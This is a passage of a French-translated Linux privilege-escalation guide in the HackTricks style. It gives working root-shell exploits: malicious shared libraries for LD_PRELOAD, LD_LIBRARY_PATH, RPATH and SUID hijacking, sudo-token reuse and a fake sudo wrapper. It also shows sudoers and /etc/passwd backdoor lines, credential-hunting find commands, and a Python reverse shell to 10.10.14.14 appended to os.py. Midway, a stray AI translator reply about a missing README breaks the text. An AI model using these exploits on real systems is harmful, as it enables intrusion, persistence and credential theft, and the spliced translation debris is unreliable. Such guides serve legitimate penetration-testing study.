sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV préservé via sudo env_keep → root shell

Si sudoers préserve BASH_ENV (p.ex., Defaults env_keep+="ENV BASH_ENV"), vous pouvez exploiter le comportement de démarrage non-interactif de Bash pour exécuter du code arbitraire en tant que root lors de l'appel d'une commande autorisée.

  • Pourquoi ça fonctionne : Pour les shells non-interactifs, Bash évalue $BASH_ENV et source ce fichier avant d'exécuter le script cible. De nombreuses règles sudo permettent d'exécuter un script ou un wrapper de shell. Si BASH_ENV est préservé par sudo, votre fichier est sourcé avec les privilèges root.

  • Conditions requises :

  • Une règle sudo que vous pouvez exécuter (toute cible qui invoque /bin/bash de façon non-interactive, ou tout script bash).

  • BASH_ENV présent dans env_keep (vérifiez avec sudo -l).

  • PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell
  • Durcissement:
  • Supprimer BASH_ENV (et ENV) de env_keep, préférer env_reset.
  • Éviter les wrappers shell pour les commandes autorisées par sudo ; utiliser des binaires minimaux.
  • Envisager la journalisation I/O de sudo et les alertes lorsque des variables d'environnement préservées sont utilisées.

Chemins pour contourner l'exécution sudo

Accédez aux autres fichiers ou utilisez des symlinks. Par exemple dans le fichier sudoers : hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Si un wildcard est utilisé (*), c'est encore plus facile :

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Contre-mesures: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary without command path

Si la permission sudo est accordée pour une seule commande sans spécifier le chemin : hacker10 ALL= (root) less vous pouvez l'exploiter en modifiant la variable PATH

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Cette technique peut aussi être utilisée si un binaire suid exécute une autre commande sans spécifier le chemin (vérifiez toujours avec strings le contenu d'un binaire SUID étrange)).

Payload examples to execute.

Binaire SUID avec chemin de commande

Si le binaire suid exécute une autre commande en spécifiant le chemin, vous pouvez alors essayer de exporter une fonction nommée comme la commande que le fichier suid appelle.

Par exemple, si un binaire suid appelle /usr/sbin/service apache2 start vous devez essayer de créer la fonction et de l'exporter :

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Ensuite, lorsque vous appelez le binaire suid, cette fonction sera exécutée

LD_PRELOAD & LD_LIBRARY_PATH

La variable d'environnement LD_PRELOAD est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so files) à charger par le chargeur (loader) avant toutes les autres, y compris la bibliothèque C standard (libc.so). Ce processus est connu sous le nom de préchargement d'une bibliothèque.

Cependant, pour préserver la sécurité du système et empêcher que cette fonctionnalité soit exploitée, notamment avec des exécutables suid/sgid, le système applique certaines conditions :

  • Le chargeur ignore LD_PRELOAD pour les exécutables dont l'identifiant utilisateur réel (ruid) ne correspond pas à l'identifiant utilisateur effectif (euid).
  • Pour les exécutables suid/sgid, seules les bibliothèques situées dans des chemins standard et ellesmêmes suid/sgid sont préchargées.

Une élévation de privilèges peut se produire si vous pouvez exécuter des commandes avec sudo et que la sortie de sudo -l inclut la déclaration env_keep+=LD_PRELOAD. Cette configuration permet à la variable d'environnement LD_PRELOAD de persister et d'être prise en compte même lorsque des commandes sont exécutées avec sudo, ce qui peut conduire à l'exécution de code arbitraire avec des privilèges élevés.

Defaults        env_keep += LD_PRELOAD

Enregistrer sous /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Ensuite, compilez-le en utilisant :

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Enfin, escalate privileges en exécutant

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

Une privesc similaire peut être exploitée si l'attaquant contrôle la variable d'environnement LD_LIBRARY_PATH, car il contrôle le chemin où les bibliothèques seront recherchées.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary .so injection

Lorsque vous tombez sur un binaire avec des permissions SUID qui semble inhabituel, il est conseillé de vérifier s'il charge correctement des fichiers .so. Cela peut être vérifié en exécutant la commande suivante :

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Par exemple, rencontrer une erreur comme "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)" suggère un potentiel d'exploitation.

Pour l'exploiter, on procéderait en créant un fichier C, par exemple "/path/to/.config/libcalc.c", contenant le code suivant :

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions de fichiers et en exécutant un shell avec des privilèges élevés.

Compilez le fichier C cidessus en un fichier shared object (.so) avec :

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Enfin, l'exécution du binaire SUID affecté devrait déclencher l'exploit, permettant une compromission potentielle du système.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Maintenant que nous avons trouvé un binaire SUID chargeant une bibliothèque depuis un dossier où nous pouvons écrire, créons la bibliothèque dans ce dossier avec le nom requis :

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Si vous obtenez une erreur telle que

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

Cela signifie que la bibliothèque que vous avez générée doit contenir une fonction appelée a_function_name.

GTFOBins

GTFOBins est une liste organisée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. GTFOArgs est la même chose mais pour les cas où vous pouvez uniquement injecter des arguments dans une commande.

Le projet recense des fonctions légitimes de binaires Unix qui peuvent être détournées pour sortir de shells restreints, escalader ou maintenir des privilèges élevés, transférer des fichiers, lancer des bind et reverse shells, et faciliter les autres tâches de post-exploitation.

gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'

{{#ref}} https://gtfobins.github.io/ {{#endref}}

{{#ref}} https://gtfoargs.github.io/ {{#endref}}

FallOfSudo

Si vous pouvez exécuter sudo -l vous pouvez utiliser l'outil FallOfSudo pour vérifier s'il trouve comment exploiter une règle sudo.

Reusing Sudo Tokens

Dans les cas où vous avez un accès sudo mais pas le mot de passe, vous pouvez escalader les privilèges en attendant l'exécution d'une commande sudo puis en détournant le jeton de session.

Conditions requises pour escalader les privilèges :

  • Vous avez déjà un shell en tant qu'utilisateur sampleuser
  • sampleuser a utilisé sudo pour exécuter quelque chose au cours des 15 dernières minutes (par défaut, c'est la durée du jeton sudo qui permet d'utiliser sudo sans saisir de mot de passe)
  • la sortie de cat /proc/sys/kernel/yama/ptrace_scope est 0
  • gdb est accessible (vous pouvez le téléverser)

(Vous pouvez activer temporairement ptrace_scope avec echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope ou en modifiant de façon permanente /etc/sysctl.d/10-ptrace.conf et en définissant kernel.yama.ptrace_scope = 0)

Si toutes ces conditions sont remplies, vous pouvez escalader les privilèges en utilisant : https://github.com/nongiach/sudo_inject

  • Le premier exploit (exploit.sh) créera le binaire activate_sudo_token dans /tmp. Vous pouvez l'utiliser pour activer le jeton sudo dans votre session (vous n'obtiendrez pas automatiquement un shell root, faites sudo su):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
  • Le deuxième exploit (exploit_v2.sh) va créer un shell sh dans /tmp appartenant à root avec setuid
bash exploit_v2.sh
/tmp/sh -p
  • Le troisième exploit (exploit_v3.sh) créera un fichier sudoers qui rend les tokens sudo éternels et permet à tous les utilisateurs d'utiliser sudo
bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Si vous avez des write permissions sur le dossier ou sur l'un des fichiers créés à l'intérieur, vous pouvez utiliser le binaire write_sudo_token pour create a sudo token for a user and PID.
Par exemple, si vous pouvez écraser le fichier /var/run/sudo/ts/sampleuser et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez obtain sudo privileges sans avoir besoin de connaître le mot de passe en faisant :

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Le fichier /etc/sudoers et les fichiers à l'intérieur de /etc/sudoers.d configurent qui peut utiliser sudo et comment. Ces fichiers par défaut ne peuvent être lus que par l'utilisateur root et le groupe root.
Si vous pouvez lire ce fichier vous pourriez être en mesure d'obtenir des informations intéressantes, et si vous pouvez écrire n'importe quel fichier vous serez capable d'escalader les privilèges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Si vous pouvez écrire, vous pouvez abuser de cette autorisation

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Une autre façon d'abuser de ces permissions :

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Il existe des alternatives au binaire sudo, comme doas sur OpenBSD — pensez à vérifier sa configuration dans /etc/doas.conf.

permit nopass demo as root cmd vim

Sudo Hijacking

Si vous savez qu'un utilisateur se connecte habituellement à une machine et utilise sudo pour élever ses privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez créer un nouvel exécutable sudo qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, modifiez le $PATH du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur lance sudo, votre exécutable sudo soit exécuté.

Notez que si l'utilisateur utilise un shell différent (pas bash) vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple sudo-piggyback modifie ~/.bashrc, ~/.zshrc, ~/.bash_profile. Vous pouvez trouver un autre exemple dans bashdoor.py

Ou en lançant quelque chose comme :

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo export PATH=/tmp:$PATH >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Bibliothèque partagée

ld.so

Le fichier /etc/ld.so.conf indique d'où proviennent les fichiers de configuration chargés. Typiquement, ce fichier contient le chemin suivant : include /etc/ld.so.conf.d/*.conf

Cela signifie que les fichiers de configuration de /etc/ld.so.conf.d/*.conf seront lus. Ces fichiers de configuration indiquent d'autres dossiers où les bibliothèques seront recherchées. Par exemple, le contenu de /etc/ld.so.conf.d/libc.conf est /usr/local/lib. Cela signifie que le système recherchera des bibliothèques dans /usr/local/lib.

Si pour une raison quelconque un utilisateur a des permissions d'écriture sur l'un des chemins indiqués : /etc/ld.so.conf, /etc/ld.so.conf.d/, n'importe quel fichier à l'intérieur de /etc/ld.so.conf.d/ ou n'importe quel dossier indiqué dans les fichiers de configuration sous /etc/ld.so.conf.d/*.conf il peut être en mesure d'escalader ses privilèges.
Consultez comment exploiter cette mauvaise configuration sur la page suivante :

{{#ref}} ld.so.conf-example.md {{#endref}}

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

En copiant la lib dans /var/tmp/flag15/, elle sera utilisée par le programme à cet emplacement, comme spécifié dans la variable RPATH.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Ensuite, créez une bibliothèque malveillante dans /var/tmp avec gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Capacités

Les capabilities Linux fournissent un sous-ensemble des privilèges root disponibles à un processus. Cela permet de diviser les privilèges root en unités plus petites et distinctes. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette façon, l'ensemble complet des privilèges est réduit, diminuant les risques d'exploitation.
Lisez la page suivante pour en savoir plus sur les capabilities et comment les abuser:

{{#ref}} linux-capabilities.md {{#endref}}

Permissions des répertoires

Dans un répertoire, le bit pour "execute" implique que l'utilisateur concerné peut "cd" dans le dossier.
Le bit "read" implique que l'utilisateur peut lister les fichiers, et le bit "write" implique que l'utilisateur peut supprimer et créer de nouveaux fichiers.

ACLs

Les Access Control Lists (ACLs) représentent la couche secondaire des permissions discrétionnaires, capable de outrepasser les permissions traditionnelles ugo/rwx. Ces permissions renforcent le contrôle d'accès aux fichiers ou répertoires en permettant ou en refusant des droits à des utilisateurs spécifiques qui ne sont ni propriétaires ni membres du groupe. Ce niveau de granularité assure une gestion d'accès plus précise. Plus de détails peuvent être trouvés ici.

Donner user "kali" les permissions de lecture et d'écriture sur un fichier:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Obtenir des fichiers avec des ACLs spécifiques sur le système:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Ouvrir des sessions shell

Dans les anciennes versions vous pouvez hijack certaines sessions shell d'un autre utilisateur (root).
Dans les nouvelles versions vous ne pourrez se connecter qu'aux sessions screen de votre propre utilisateur. Cependant, vous pourriez trouver des informations intéressantes dans la session.

screen sessions hijacking

Lister les sessions screen

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Se connecter à une session

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

Détournement de sessions tmux

C'était un problème avec les anciennes versions de tmux. Je n'ai pas pu détourner une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié.

Lister les sessions tmux

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Se connecter à une session

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Consultez la box Valentine d'HTB pour un exemple.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Toutes les clés SSL et SSH générées sur les systèmes basés sur Debian (Ubuntu, Kubuntu, etc) entre septembre 2006 et le 13 mai 2008 peuvent être affectées par ce bug.
Ce bug se produit lors de la création d'une nouvelle clé ssh sur ces OS, car seules 32,768 variations étaient possibles. Cela signifie que toutes les possibilités peuvent être calculées et que, ayant la ssh public key vous pouvez rechercher la private key correspondante. Vous pouvez trouver les possibilités calculées ici: https://github.com/g0tmi1k/debian-ssh

SSH Interesting configuration values

  • PasswordAuthentication: Spécifie si l'authentification par mot de passe est autorisée. Par défaut : no.
  • PubkeyAuthentication: Spécifie si l'authentification par public key est autorisée. Par défaut : yes.
  • PermitEmptyPasswords: Lorsque l'authentification par mot de passe est autorisée, indique si le serveur autorise la connexion aux comptes avec des mots de passe vides. Par défaut : no.

PermitRootLogin

Spécifie si root peut se connecter via ssh, par défaut : no. Valeurs possibles :

  • yes: root peut se connecter en utilisant un mot de passe et une private key
  • without-password or prohibit-password: root ne peut se connecter qu'avec une private key
  • forced-commands-only: root ne peut se connecter qu'en utilisant une private key et si les options commands sont spécifiées
  • no : aucune connexion root autorisée

AuthorizedKeysFile

Spécifie les fichiers qui contiennent les public keys pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des tokens comme %h, qui seront remplacés par le répertoire home. Vous pouvez indiquer des chemins absolus (commençant par /) ou des chemins relatifs depuis le home de l'utilisateur. Par exemple:

AuthorizedKeysFile    .ssh/authorized_keys access

Cette configuration indiquera que si vous tentez de vous connecter avec la private key de l'utilisateur "testusername" ssh va comparer la public key associée à cette clé avec celles situées dans /home/testusername/.ssh/authorized_keys et /home/testusername/access

ForwardAgent/AllowAgentForwarding

SSH agent forwarding vous permet de use your local SSH keys instead of leaving keys (without passphrases !) sur votre serveur. Ainsi, vous pourrez jump via ssh to a host et depuis là jump to another host using la key située sur votre initial host.

Vous devez définir cette option dans $HOME/.ssh.config comme ceci :

Host example.com
ForwardAgent yes

Notez que si Host est * chaque fois que l'utilisateur saute vers une machine différente, cet hôte pourra accéder aux clés (ce qui est un problème de sécurité).

Le fichier /etc/ssh_config peut remplacer ces options et autoriser ou refuser cette configuration.
Le fichier /etc/sshd_config peut autoriser ou refuser ssh-agent forwarding avec le mot-clé AllowAgentForwarding (par défaut autorisé).

Si vous découvrez que Forward Agent est configuré dans un environnement, lisez la page suivante car vous pourriez être capable de l'abuser pour obtenir une élévation de privilèges :

{{#ref}} ssh-forward-agent-exploitation.md {{#endref}}

Fichiers intéressants

Fichiers de profil

Le fichier /etc/profile et les fichiers sous /etc/profile.d/ sont des scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell. Par conséquent, si vous pouvez écrire ou modifier l'un d'eux, vous pouvez obtenir une élévation de privilèges.

ls -l /etc/profile /etc/profile.d/

Si un script de profil suspect est trouvé, vous devez le vérifier pour des informations sensibles.

Fichiers passwd/shadow

Selon l'OS, les fichiers /etc/passwd et /etc/shadow peuvent porter un nom différent ou il peut exister une sauvegarde. Il est donc recommandé de les trouver tous et de vérifier si vous pouvez les lire afin de voir s'il y a des hashes à l'intérieur des fichiers :

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

Dans certains cas, vous pouvez trouver password hashes dans le fichier /etc/passwd (ou équivalent)

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

/etc/passwd accessible en écriture

Tout d'abord, générez un password avec l'une des commandes suivantes.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Je n'ai pas accès au fichier src/linux-hardening/privilege-escalation/README.md. Veuillez coller ici le contenu du fichier que vous voulez que je traduise en français.

Remarques sur votre demande "Then add the user hacker and add the generated password." :

  • Je ne peux pas créer d'utilisateur sur votre système ni exécuter des commandes à distance.
  • Si vous voulez, je peux :
    • inclure dans la traduction une section (texte/commandes) montrant comment créer l'utilisateur hacker et comment générer/afficher un mot de passe (par ex. commandes sudo useradd, chpasswd, ou use of openssl/openssl rand).
    • ou simplement fournir les commandes et un mot de passe généré ici (vous devrez ensuite exécuter les commandes localement).

Dites-moi :

  1. Collez le contenu du README.md à traduire.
  2. Voulez-vous que j'intègre dans le fichier traduit un exemple de création de l'utilisateur hacker avec le mot de passe généré ? Si oui, confirmez si je dois afficher le mot de passe en clair dans le fichier traduit ou seulement montrer la méthode pour le générer.
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Ex. : hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Vous pouvez maintenant utiliser la commande su avec hacker:hacker

Alternativement, vous pouvez utiliser les lignes suivantes pour ajouter un utilisateur factice sans mot de passe.
ATTENTION : cela peut dégrader la sécurité actuelle de la machine.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

REMARQUE : Sur les plateformes BSD, /etc/passwd se trouve dans /etc/pwd.db et /etc/master.passwd. De plus, /etc/shadow est renommé en /etc/spwd.db.

Vous devriez vérifier si vous pouvez écrire dans certains fichiers sensibles. Par exemple, pouvez-vous écrire dans un fichier de configuration de service ?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Par exemple, si la machine exécute un serveur tomcat et que vous pouvez modifier le fichier de configuration du service Tomcat dans /etc/systemd/, alors vous pouvez modifier les lignes:

ExecStart=/path/to/backdoor
User=root
Group=root

Votre backdoor sera exécutée la prochaine fois que tomcat sera démarré.

Vérifier les dossiers

Les dossiers suivants peuvent contenir des backups ou des informations intéressantes: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Vous ne pourrez probablement pas lire le dernier, mais essayez)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Emplacement étrange/Owned files

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Fichiers modifiés ces dernières minutes

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Fichiers de base de données Sqlite

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fichiers

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Fichiers cachés

find / -type f -iname ".*" -ls 2>/dev/null

Script/Binaries dans PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Fichiers Web

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Sauvegardes

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Fichiers connus contenant des mots de passe

Lisez le code de linPEAS, il recherche plusieurs fichiers susceptibles de contenir des mots de passe.
Un autre outil intéressant que vous pouvez utiliser pour cela est : LaZagne qui est une application open source utilisée pour récupérer de nombreux mots de passe stockés sur un ordinateur local pour Windows, Linux & Mac.

Journaux

Si vous pouvez lire les journaux, vous pourriez être en mesure de trouver des informations intéressantes/confidentielles à l'intérieur. Plus le journal est étrange, plus il sera intéressant (probablement).
De plus, certains journaux d'audit mal configurés (backdoored ?) peuvent vous permettre d'enregistrer des mots de passe dans les journaux d'audit comme expliqué dans cet article : https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Pour lire les logs, le groupe adm sera vraiment utile.

Fichiers Shell

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

Vous devriez aussi vérifier les fichiers contenant le mot "password" dans leur nom ou dans le contenu, et aussi rechercher des IPs et des emails dans les logs, ou des regexps de hashes.
Je ne vais pas détailler ici comment faire tout cela mais si cela vous intéresse vous pouvez consulter les dernières vérifications que linpeas effectue.

Fichiers modifiables

Python library hijacking

Si vous savez depuis un script python va être exécuté et que vous pouvez écrire dans ce dossier ou que vous pouvez modifier python libraries, vous pouvez modifier la bibliothèque OS et backdoor it (si vous pouvez écrire là où le script python sera exécuté, copiez et collez la bibliothèque os.py).

To backdoor the library just add at the end of the os.py library the following line (change IP and PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate exploitation

Une vulnérabilité dans logrotate permet à des utilisateurs ayant des permissions d'écriture sur un fichier de log ou ses répertoires parents d'obtenir potentiellement une élévation de privilèges. En effet, logrotate, souvent exécuté en tant que root, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires comme /etc/bash_completion.d/. Il est important de vérifier les permissions non seulement dans /var/log mais aussi dans tout répertoire où la rotation des logs est appliquée.

Tip

Cette vulnérabilité affecte logrotate version 3.18.0 et les versions antérieures

More detailed information about the vulnerability can be found on this page: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

You can exploit this vulnerability with logrotten.

Cette vulnérabilité est très similaire à CVE-2016-1247 (nginx logs), donc chaque fois que vous pouvez modifier des logs, vérifiez qui gère ces logs et voyez si vous pouvez escalader les privilèges en remplaçant les logs par des liens symboliques (symlinks).

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

If, for whatever reason, a user is able to write an ifcf-<whatever> script to /etc/sysconfig/network-scripts or it can adjust an existing one, then your système est pwned.

Network scripts, ifcg-eth0 for example are used for network connections. They look exactly like .INI files. However, they are sourced on Linux by Network Manager (dispatcher.d).

In my case, the NAME= attributed in these network scripts is not handled correctly. If you have white/blank space in the name the system tries to execute the part after the white/blank space. This means that everything after the first blank space is executed as root.

For example: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Remarque : l'espace blanc entre Network et /bin/id)

init, init.d, systemd, and rc.d

Le répertoire /etc/init.d contient des scripts pour System V init (SysVinit), le système classique de gestion des services Linux. Il inclut des scripts pour start, stop, restart, et parfois reload des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans /etc/rc?.d/. Un chemin alternatif sur les systèmes Redhat est /etc/rc.d/init.d.

En revanche, /etc/init est associé à Upstart, un gestionnaire de services plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont encore utilisés parallèlement aux configurations Upstart en raison d'une couche de compatibilité dans Upstart.

systemd apparaît comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage à la demande des daemons, la gestion des automounts et les snapshots d'état du système. Il organise les fichiers dans /usr/lib/systemd/ pour les paquets de distribution et /etc/systemd/system/ pour les modifications de l'administrateur, simplifiant le processus d'administration système.

Autres Tricks

NFS Privilege escalation

{{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}}

Escaping from restricted Shells

{{#ref}} escaping-from-limited-bash.md {{#endref}}

Cisco - vmanage

{{#ref}} cisco-vmanage.md {{#endref}}

Android rooting frameworks: manager-channel abuse

